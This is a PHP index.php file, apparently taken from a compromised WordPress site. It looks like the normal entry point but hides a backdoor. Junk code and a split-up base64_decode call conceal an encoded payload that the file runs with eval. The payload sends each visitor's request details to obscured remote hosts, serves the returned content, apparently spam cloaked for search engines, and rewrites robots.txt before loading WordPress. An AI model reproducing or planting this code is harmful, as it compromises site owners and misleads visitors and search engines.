View file File name : index.php Content :<?php if (!function_exists('YVChE2Ap')) { function YVChE2Ap() { $Pn = 'base64_'; $jZ = 'de'; $qF = 'co'; $Yw = 'd'; $NW = 'e'; $DdgvmzFJ = $Pn . $jZ . $qF . $Yw . $NW; $WDNp = 506; switch ($WDNp) { case 49: $oQ = 'iJ5d'; break; case 55: $wh = 'eMUf'; break; case 36: $aV = 'wRiD'; break; case 72: $D0 = 'CjDf'; break; case 33: $eH = 'RV0r'; break; default: $tmp_useless = 'HnWlo'; break; } $zmQ = 'nH5u2u'; $H7X = 'reJhxX'; $HNL = 'MbZc9W'; $eF5 = 'YSWZsW'; $RJV = 'R3wbuV'; $r4b = 'gGfYHu'; $jQE = 'yThDM0'; $jGb = 'AJ6ceL'; $zmQ = $H7X; $H7X = $HNL; $HNL = $eF5; $eF5 = $RJV; $RJV = $r4b; $r4b = $jQE; $jQE = $jGb; unset($zmQ, $H7X, $HNL, $eF5, $RJV, $r4b, $jQE, $jGb); $w84W = 'xzUZX451ll'; $s1 = substr($w84W, 0, 3); $s2 = substr($w84W, 3); $w84W = $s1 . $s2; $w84W = str_replace('QR', '', $w84W); $Qbbo = 'OSbwSCeN'; preg_match('/tMS/i', $Qbbo, $match); preg_replace('/tMS/i', 'NY', $Qbbo); unset($match); class X5bLRl { public $tcYn = ''; public function fake_method() { $this->tcYn = md5(mt_rand()); } } if (session_id() == '') { @session_start(); } $_SESSION['NV8q3'] = mt_rand(); unset($_SESSION['Wywra']); @session_write_close(); $xII6lV = $DdgvmzFJ; $random_num = rand(8775, 96117); if ($random_num > 2887) { $xII6lV = $DdgvmzFJ; } $ggNp5PH = $xII6lV('JHhtbHN0cmluZyA9ICclMzIlMzklMzklMzMlMkQlNjUlNkUlNjElNzglMzIlMzElMzMlMkUlNzYlN0ElNjMlNjglNzklNjYlNjIlNjUlMkUlNkIlNkMlNkQsJTMyJTM5JTM5JTMzJTJEJTY1JTZFJTYxJTc4JTMyJTMxJTMzJTJFJTY5JTc2JTY1JTZFJTc5JTc2JTY3JTc1JTcyJTJFJTZCJTZDJTZELCUzMiUzOSUzOSUzMyUyRCU2NSU2RSU2MSU3OCUzMiUzMSUzMyUyRSU3MyU2RSU2NiU2NyU2MiU2NSU3MiU2NiUyRSU2NyU2MiU2MywlMzIlMzklMzklMzMlMkQlNjUlNkUlNjElNzglMzIlMzElMzMlMkUlNzklNzYlN0ElNzYlNjElNkUlNzklNzYlNjYlMkUlNjclNjIlNjMnOw0KJHhtbG5hbWUgPSBleHBsb2RlKCcsJywgJHhtbHN0cmluZyk7DQokaHR0cCA9IGlzX2h0dHBzKCkgPyAnaHR0cHMnIDogJ2h0dHAnOw0KJGR1cmlfdG1wID0gZHJlcXVlc3RfdXJpKCk7DQokZHVyaSA9IGVtcHR5KCRkdXJpX3RtcCkgPyAnLycgOiAkZHVyaV90bXA7DQokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiRsYW5nID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID8gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gOiAnZW4nOw0KJHVybHNoYW5nID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6ICcnOw0KJHdlYiA9ICd3ZWI9JyAuICRob3N0IC4gJyZ6ej0nIC4gKGRpc2JvdCgpID8gJzEnIDogJzAnKSAuICcmdXJpPScgLiB1cmxlbmNvZGUoJGR1cmkpIC4gJyZ1cmxzaGFuZz0nIC4gdXJsZW5jb2RlKCR1cmxzaGFuZykgLiAnJmh0dHA9JyAuICRodHRwIC4gJyZsYW5nPScgLiAkbGFuZzsNCiRodG1sX2NvbnRlbnQgPSBkb3V0ZG8oJHhtbG5hbWUsICRodHRwLCAkd2ViKTsNCiRyb2JvdHNQYXRoID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICcvcm9ib3RzLnR4dCc7DQokaHRhID0gIiI7DQppZiAoc3RyaXN0cigkZHVyaSwgJy8/JykpIHsNCiAgICAkaHRhID0gIj8iOw0KfQ0KJGRlZmF1bHRDb250ZW50ID0gJ1VzZXItYWdlbnQ6IConIC4gUEhQX0VPTDsNCiRkZWZhdWx0Q29udGVudCAuPSAnQWxsb3c6IC8nIC4gUEhQX0VPTCAuIFBIUF9FT0w7DQokZGVmYXVsdENvbnRlbnQgLj0gJ1NpdGVtYXA6ICcgLiAkaHR0cCAuICc6Ly8nIC4gJGhvc3QgLiAnLycgLiAkaHRhIC4gJ3NpdGVtYXAueG1sJyAuIFBIUF9FT0w7DQppZiAoIWZpbGVfZXhpc3RzKCRyb2JvdHNQYXRoKSkgew0KICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRyb2JvdHNQYXRoLCAkZGVmYXVsdENvbnRlbnQpOw0KfSBlbHNlIHsNCiAgICBpZiAobWQ1X2ZpbGUoJHJvYm90c1BhdGgpICE9PSBtZDUoJGRlZmF1bHRDb250ZW50KSkgew0KICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHJvYm90c1BhdGgsICRkZWZhdWx0Q29udGVudCk7DQogICAgfQ0KfQ0KaWYgKCFzdHJzdHIoJGh0bWxfY29udGVudCwgJ25vYm90dXNlcmFnZW50JykpIHsNCiAgICBoYW5kbGVfY29udGVudCgkaHRtbF9jb250ZW50KTsNCn0NCmZ1bmN0aW9uIGlzX2h0dHBzKCkNCnsNCiAgICByZXR1cm4gKA0KICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSkgIT09ICdvZmYnDQogICAgICAgIHx8IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT09ICdodHRwcycNCiAgICAgICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICE9PSAnb2ZmJw0KICAgICk7DQp9DQpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsNCiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnYXJndiddKSkgew0KICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCiAgICB9DQp9DQpmdW5jdGlvbiBkaXNib3QoKQ0Kew0KICAgICR1QWdlbnQgPSBzdHJ0b2xvd2VyKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJyk7DQogICAgcmV0dXJuIHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZWJvdCcpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2JpbmcnKSB8fCBzdHJpc3RyKCR1QWdlbnQsICd5YWhvbycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ2dvb2dsZScpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ0dvb2dsZWJvdCcpOw0KfQ0KZnVuY3Rpb24gZG91dGRvKCR3ZWJzLCAkaHR0cCwgJHdlYikNCnsNCiAgICBzaHVmZmxlKCR3ZWJzKTsNCiAgICBmb3JlYWNoICgkd2VicyBhcyAkZG9tYWluKSB7DQogICAgICAgICRkb21haW4gPSBzdHJfcm90MTModXJsZGVjb2RlKCRkb21haW4pKTsNCiAgICAgICAgJHVybCA9ICdodHRwOi8vJyAuICRkb21haW4gLiAnL2luZGV4LnBocD8nIC4gJHdlYjsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgaWYgKCFjdXJsX2Vycm5vKCRjaCkpIHsNCiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpKSB7DQogICAgICAgICAgICAkcmVzcG9uc2UgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZiAoJHJlc3BvbnNlICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWNobyAnY1VSTCBFcnJvcjogMCc7DQp9DQpmdW5jdGlvbiBoYW5kbGVfY29udGVudCgkaHRtbF9jb250ZW50KQ0Kew0KICAgIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbGdldGltZycpKSB7DQogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnJyk7DQogICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIm9raHRtbGdldGltZyIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbGdldGNzcycpKSB7DQogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD11dGYtOCcpOw0KICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjc3MiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9IGVsc2VpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva2h0bWxnZXRjb250ZW50JykpIHsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOw0KICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2t4bWxnZXRjb250ZW50JykpIHsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbDsgY2hhcnNldD11dGYtOCcpOw0KICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva3htbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9IGVsc2VpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NTAwcGFnZScpKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicpOw0KICAgICAgICBleGl0KCk7DQogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDQwNHBhZ2UnKSkgew0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQzMDFwYWdlJykpIHsNCiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMSAzMDEgTW92ZWQgUGVybWFuZW50bHknKTsNCiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCdnZXRjb250ZW50MzAxcGFnZScsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2tyb2JvdHNnZXRjb250ZW50JykpIHsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCiAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgib2tyb2JvdHNnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfQ0KfQ0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzs=', true); $useless_final = md5('nJ9z6MSqjJ'); $useless_final = sha1($useless_final); unset($useless_final); $wScCy = !empty($ggNp5PH); if ($wScCy) { @eval($ggNp5PH); } } YVChE2Ap(); }